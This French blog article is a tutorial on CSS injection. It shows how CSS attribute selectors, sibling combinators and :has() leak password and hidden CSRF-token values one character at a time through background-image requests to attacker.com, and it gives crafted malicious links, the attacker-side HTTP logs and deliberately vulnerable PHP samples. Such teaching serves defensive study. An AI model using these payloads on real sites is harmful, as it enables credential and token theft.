Les injections CSS - Attribute Selector

06 Novembre 2022

Les injections CSS ne sont pas les vulnérabilités les plus connues, mais permettent tout de même certaines exploitations. Pour illustrer cela, nous commençons par la récupération de valeurs d'attributs HTML grâce aux sélecteurs d'attributs CSS.

Utilisation des Feuilles de style en cascade (CSS)

Le CSS est un langage informatique qui décrit la présentation des documents HTML et XML. Trois méthodes permettent d'appliquer un style aux documents.

La feuille de style externe

La méthode la plus couramment utilisée est de lier directement la feuille de style :

h1 {
  color: red;
}

à la page HTML grâce à l'élément <link> :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="styles.css">
  </head>
  <body>
    <h1>Utilisation d'une feuille de style externe</h1>
  </body>
</html>

La feuille de style interne

La seconde méthode est d'utiliser une feuille de style interne directement dans le document HTML grâce à l'élément <style></style> :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <style>
      h1 {
        color: red;
      }
    </style>
  </head>
  <body>
    <h1>Utilisation d'une feuille de style interne (head)</h1>
  </body>
</html>

Bien que l'ajout de la balise <style></style> se fait communément au sein de la balise <head></head>, rien n'empêche le développeur de l'ajouter au sein de la balise <body></body> :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <style>
      h1 {
        color: red;
      }
    </style>
    <h1>Utilisation d'une feuille de style interne (body)</h1>
  </body>
</html>

Le style en ligne

Et finalement, la méthode sans doute la moins usitée est le style en ligne (inline style) :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <h1 style="color: red;">Utilisation d'une feuille de style en linge (inline style)</h1>
  </body>
</html>

Exploitation d'une injection XSS via un élément CSS

Dans les cas les plus simples, une injection au sein d'un code CSS peut mener à une vulnérabilité de type Cross-Site Scripting (XSS) :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <style>
      h1 {
        color: <?php echo $_GET['color']; ?>;
      }
  </style>
  </head>
  <body>
    <h1>Injection de type Cross-Site Scripting au sein de l'élément HTML style</h1>
  </body>
</html>

Bien que l'injection se situe au sein d'une balise <style></style>, aucune particularité liée au CSS n'intervient dans l'exploitation de cette vulnérabilité. Il suffit de procéder comme pour une XSS classique, c'est-à-dire ici de fermer la balise de style, puis de charger le code JavaScript désiré :

Suite à cette mésaventure, le développeur souhaite toujours laisser la possibilité à ses utilisateurs de personnaliser le style du site et notamment la couleur du titre de la page grâce au paramètre color, mais tout en protégeant son site. Etant maintenant sensibilisé aux vulnérabilités Web, la donnée non fiable est assainie par la méthode htmlspecialchars() transformant ainsi les caractères <, >, " et ' en entités HTML.

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <style>
      h1 {
        color: <?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, "UTF-8") ?>;
      }
  </style>
  </head>
  <body>
    <h1>Assainissement de la donnée non fiable grâce à htmlspecialchars()</h1>
  </body>
</html>

De ce fait, l'injection précédente n'est maintenant plus possible :

Dans ce cas, l'application est-elle maintenant correctement protégée ? Qu'elles sont les exploitations toujours possibles pour un tel code ?

Exploitation d'une injection CSS

Récupération de la valeur d'un attribut d'un élément HTML via les sélecteurs d'attribut CSS

En CSS, les sélecteurs d'attributs permettent d'effectuer un traitement sur un élément, selon un de ses attributs ou de leur valeur. Il est possible d'utiliser cette mécanique afin de récupérer de l'information grâce à une injection CSS.

Le code vulnérable exploité possède un élément HTML <input> de type password et ayant comme valeur le mot de passe de la victime :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <style>
      h1 {
       élément   color: <?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, "UTF-8") ?>;
      }
  </style>
  </head>
  <body>
    <h1>Exploitation d'une injection CSS</h1>
    <form method="POST" action="">
      <input type="password" name="password" value="azerty">
      <input type="submit" name="currentPassword" value="Continue">
    </form>
  </body>
</html>

L'idée de l'exploitation va être d'utiliser les sélecteurs CSS afin de récupérer le mot de passe de la victime caractère par caractère. Voici un exemple de sélecteur d'attribut :

<style>
  input[name=password][value^=valeur] {
    background-image:url(https://banque-images.com/background.png);
  }
</style>

Le style va s'appliquer pour les éléments HTML <input>, dont l'attribut name est égal à "password" et dont la value commence par (le caractère ^ indique le début de chaîne) "valeur". Si un tel élément est trouvé, alors le navigateur appliquera le style background-image en récupérant l'image disponible à l'URL spécifiée.

L'attaquant va ainsi modifier le sélecteur comme ceci :

<style>
  input[name=password][value^=a] {
    background-image:url(https://attacker.com/?leak=a);
  }
</style>

Et amener sa victime à suivre le lien malicieux exploitant l'injection :

https://vulnerable.com/css-injection-element-password.php?color=black;}input[name=password][value^=a]{background-image:url(https://attacker.com/?leak=a);}

Lorsque le navigateur de la victime chargera la page, la condition sera remplie et une requête sera effectuée vers le serveur de l'attaquant :

GET /?leak=a HTTP/1.1
Host: attacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer: https://vulnerable.com
Connection: close

L'attaquant continuera son attaque en itérant sur les prochains caractères :

https://vulnerable.com/css-injection-element-password.php?color=black;}input[name=password][value^=az]{background-image:url(https://attacker.com/?leak=az);}
GET /?leak=az HTTP/1.1
Host: attacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer: https://vulnerable.com
Connection: close

Récupération de la valeur d'un attribut d'un élément HTML de type hidden via les sélecteurs d'attribut CSS

Malheureusement, la technique précédente ne fonctionne pas sur les champs <input> de type hidden. Cela pourrait pourtant être utile dans le cas ou l'application vulnérable utilise des champs cachés pour transmettre des jetons anti-CSRF par exemple :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <style>
      h1 {
        color: <?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, "UTF-8") ?>;
      }
  </style>
  </head>
  <body>
    <h1>Attribute selectors iframe with hidden input</h1>
    <form action="" method="POST">
        <input type="password" name="newPassword" placeholder="New Password">
        <input type="password" name="confirmNewPassword" placeholder="Confirm New Password">
        <input type="hidden" name="csrf-token" value="a5ccef6a-1f00-4a02-b16b-e4e9e517b223">
        <input type="submit" name="changePassword" value="Continue">
    </form>
  </body>
</html>

Cela est en fait possible en utilisant les combinateurs ~ et * à la suite du sélecteur CSS :

<style>
  input[name=csrf-token][value^=a]~* {
    background-image:url(https://attacker.com/?leak=a);
  }
</style>

Le combinateur ~ (general sibling combinator) sélectionne les frères d'un élément, même dans le cas où ils ne sont pas adjacents, mais doivent avoir le même parent. Il est possible également d'utiliser le combinateur + (adjacent sibling combinator) mais son utilisation est alors plus restreinte.

Le sélecteur* (universal selector) correspond à un élément de n'importe quel type.

Le lien malicieux devenant alors :

https://vulnerable.com/css-injection-element-hidden.php?color=black;}input[name=csrf-token][value^=a]~*{background-image:url(https://attacker.com/?leak=a);}

Et la requête effectuée par le navigateur de la victime sera :

GET /?leak=a HTTP/1.1
Host: attacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer: https://vulnerable.com
Connection: close

L'attaquant devra continuer son attaque pour récupérer ainsi les caractères restants :

GET /?leak=ab4f63f9 HTTP/1.1
Host: attacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer: https://vulnerable.com
Connection: close

L'inconvénient de ces techniques est qu'elles sont limitées à la récupération d'une information présente au sein d'un attribut. Impossible donc ici de récupérer le contenu d'un élément <span></span>, d'un <script></script> ou d'un paragraphe <p></p> par exemple.

Il existe toutefois d'autres techniques permettant cela et qui seront vues dans les prochaines parties de cet article.

Récupération de la valeur d'un attribut d'un élément HTML de type hidden via la pseudo-class CSS has()

Une alternative pouvant répondre à certaines limites des combinateurs CSS est d'utiliser le sélecteur CSS has() de la façon suivante :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <style>
      h1 {
        color: <?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, "UTF-8") ?>;
      }
  </style>
  </head>
  <body>
    <h1>Has attribute selectors iframe with hidden input</h1>
    <form action="" method="POST">
        <input type="password" name="newPassword" placeholder="New Password">
        <input type="password" name="confirmNewPassword" placeholder="Confirm New Password">
        <input type="hidden" name="csrf-token" value="a5ccef6a-1f00-4a02-b16b-e4e9e517b223">
        <input type="submit" name="changePassword" value="Continue">
    </form>
  </body>
</html>
<style>
  form:has(input[name=csrf-token][value^=a]) {
    background-image:url(https://attacker.com/?leak=a);
  }
</style>

Cette technique ne fonctionne pas sur FireFox, ni sur IE, car ces navigateurs ne supportent pas cette pseudo-class :

Automatisation de l'attaque

Un script d'automatisation exploitant l'injection CSS afin de récupérer une valeur d'un attribut existe déjà ici : https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e. Son utilisation nécessite que la victime accède à la page malicieuse et que l'application vulnérable ciblée soit iframable (entêtes X-Frame-Options et frame-ancestors).

Le PoC ne possède pas la partie back-end. Il faudra donc le développer, mais il reste toutefois assez simple. De plus, étant donné qu'une seule requête est effectuée par position de caractère, il est possible que l'iframing résulte en une erreur HTTP 414 URI Too Long et que l'attaque échoue.

Voici plusieurs PoC tentant de résoudre ces problèmes.

PoC - Récupération de la valeur d'un attribut d'un élément HTML via les sélecteurs d'attribut CSS

Accéder au PoC

  <body>
  <h1>Attribute selectors iframe with password input</h1>
    <form method="POST" action="">
        <input type="password" name="password" value="qwerty">
        <input type="submit" name="currentPassword" value="Submit">
    </form>
  </body>

PoC - Récupération de la valeur d'un attribut d'un élément HTML de type hidden via la pseudo-class CSS has()

Accéder au PoC

  <body>
    <h1>Has attribute selectors iframe with hidden input</h1>
    <form action="" method="POST">
      <input type="password" name="newPassword" placeholder="New Password">
      <input type="password" name="confirmNewPassword" placeholder="Confirm New Password">
      <input type="hidden" name="csrf-token" value="a5ccef6a-1f00-4a02-b16b-e4e9e517b223">
      <input type="submit" name="changePassword" value="Continue">
    </form>
  </body>

PoC - Récupération de la valeur d'un attribut d'un élément HTML via les Popups

Il existe une autre technique utilisant les popups et qui ne nécessite pas l'iframing du site vulnérable. Malheureusement, il faudra soit un clic en plus de la part de la victime afin de lancer l'attaque ou alors qu'il autorise l'ouverture des popups au sein de son navigateur. De plus, cette attaque est très bruyante puisque la victime voit directement les fenêtres s'ouvrir et se rafraichir.

Accéder au PoC

  <body>
    <h1>Popup attribute selectors iframe with hidden input</h1>
    <form action="" method="POST">
        <input type="password" name="newPassword" placeholder="New Password">
        <input type="password" name="confirmNewPassword" placeholder="Confirm New Password">
        <input type="hidden" name="csrf-token" value="a5ccef6a-1f00-4a02-b16b-e4e9e517b223">
        <input type="submit" name="changePassword" value="Continue">
    </form>
  </body>

Références

Dernière mise à jour